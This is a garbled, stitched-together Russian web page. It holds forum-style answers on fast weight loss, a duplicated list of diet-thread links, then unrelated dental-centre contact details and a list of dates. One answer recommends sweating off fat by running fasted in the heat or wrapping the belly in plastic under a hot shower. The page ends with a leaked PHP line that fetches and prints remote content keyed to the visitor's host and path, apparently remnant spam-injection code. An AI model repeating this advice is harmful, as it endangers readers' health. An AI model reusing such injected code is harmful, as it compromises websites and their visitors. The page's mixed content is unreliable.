Вам термальное воздействие нужно. Натощак в жару бегать в комбинезоне. Можно просто живот обмотать пленкой (мусорный пакет сойдет) включить в ванной горячий душ и делать наклоны вбока.. интенсивно и долго. Через минут 20 с тебя пот будет литься. А жир сжигаться. Получше любой диеты.

Надо срочно похудеть. Надо за месяц похудеть на 5 кг, посоветуйте что нибудь безопасное.

Турбослим.

Всевозможные диеты на соках уже давно покорили сердца и желудки всех худеющих планеты.Но их минус довольно унылый вкус, который может поднадоесть. Ягодные отличаются ярким ароматом и быстро утоляют голод, к тому же, в них полно витаминов.

Безопасное? не худейте.

Отказаться от мучного, сладкого и в 18.00 каждый день бегать (не менее 2 км) , или же на велосипеде (не менее 15 км).

С утра выпейте кофе без сахара, кушать не захочется до обеда, до 6-ти едите все что хочется, а после 6 ничего, в крайнем случае чай с медом! и результат гарантирован, без напрягов и без стрессов

  • Целлюлит задняя поверхность бедра - Целлюлит на задней поверхности бедер и на внутренней стороне сверху-его там много.Как убрать? Бегать по вечерам, на скак
  • Быстро похудеть после беременности - Кому удалось не сильно набрать вес после беременности или вообще похудеть?) делитесь секретом) Не есть в больших количес
  • Упражнения для похудения живота и боков после родов в картинках - Упражнения для похудения живота и боков недавно прочитал что если есть лишний вес на животе то пресс будет под ним Будет
  • Препарат уколы для похудения - КАК ВЫЛЕЧИТЬ ОСТЕОХОНДРОЗ ? Сходите к физиотерапевту. Механотерапия - крутая штука (массажная кушетка). Очень помогает.
  • Диета ковалькова первый этап что есть - Подскажите меню по методу ковалькова. Первый этап диеты доктора Ковалькова В этот период очищается кишечник и восстанавл
  • Диеты при заболеваниях сердца - Почему при заболеваниях сердца противопоказана питьевая диета ? При ишемической болезни сердца противоречия в диете( а к
  • На сколько можно похудеть за сутки - Хочу похудеть, можно кушать картошку в мундире? и сколько можно в сутки есть быстрых углеводов? Перейдите на морковку Ит
  • Диета для потолстения понедельник вторник - Привет всем!Подскажите диету для потолстения? Бери больше, кидай дальше, отдыхай пока летит Кишечныйе паразиты в кишечни
  • Ветеринарная диета пурина в спб - Подскажите,какой хороший корм можете порекомендовать для собаки с аллергией(Порода шар-пей).Аллергия у собаки на всё! Оч
  • Отзывы по похудению с диском 25 кадр - Как похудеть????((((((((( Интенсивные тренировки, правильное питание, отсутствие стрессов. Говорят что и вовсе этого 25
  • Целлюлит задняя поверхность бедра - Целлюлит на задней поверхности бедер и на внутренней стороне сверху-его там много.Как убрать? Бегать по вечерам, на скак
  • Быстро похудеть после беременности - Кому удалось не сильно набрать вес после беременности или вообще похудеть?) делитесь секретом) Не есть в больших количес
  • Упражнения для похудения живота и боков после родов в картинках - Упражнения для похудения живота и боков недавно прочитал что если есть лишний вес на животе то пресс будет под ним Будет
  • Препарат уколы для похудения - КАК ВЫЛЕЧИТЬ ОСТЕОХОНДРОЗ ? Сходите к физиотерапевту. Механотерапия - крутая штука (массажная кушетка). Очень помогает.
  • Диета ковалькова первый этап что есть - Подскажите меню по методу ковалькова. Первый этап диеты доктора Ковалькова В этот период очищается кишечник и восстанавл
  • Диеты при заболеваниях сердца - Почему при заболеваниях сердца противопоказана питьевая диета ? При ишемической болезни сердца противоречия в диете( а к
  • На сколько можно похудеть за сутки - Хочу похудеть, можно кушать картошку в мундире? и сколько можно в сутки есть быстрых углеводов? Перейдите на морковку Ит
  • Диета для потолстения понедельник вторник - Привет всем!Подскажите диету для потолстения? Бери больше, кидай дальше, отдыхай пока летит Кишечныйе паразиты в кишечни
  • Ветеринарная диета пурина в спб - Подскажите,какой хороший корм можете порекомендовать для собаки с аллергией(Порода шар-пей).Аллергия у собаки на всё! Оч
  • Отзывы по похудению с диском 25 кадр - Как похудеть????((((((((( Интенсивные тренировки, правильное питание, отсутствие стрессов. Говорят что и вовсе этого 25
Быстрая диета на соках
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта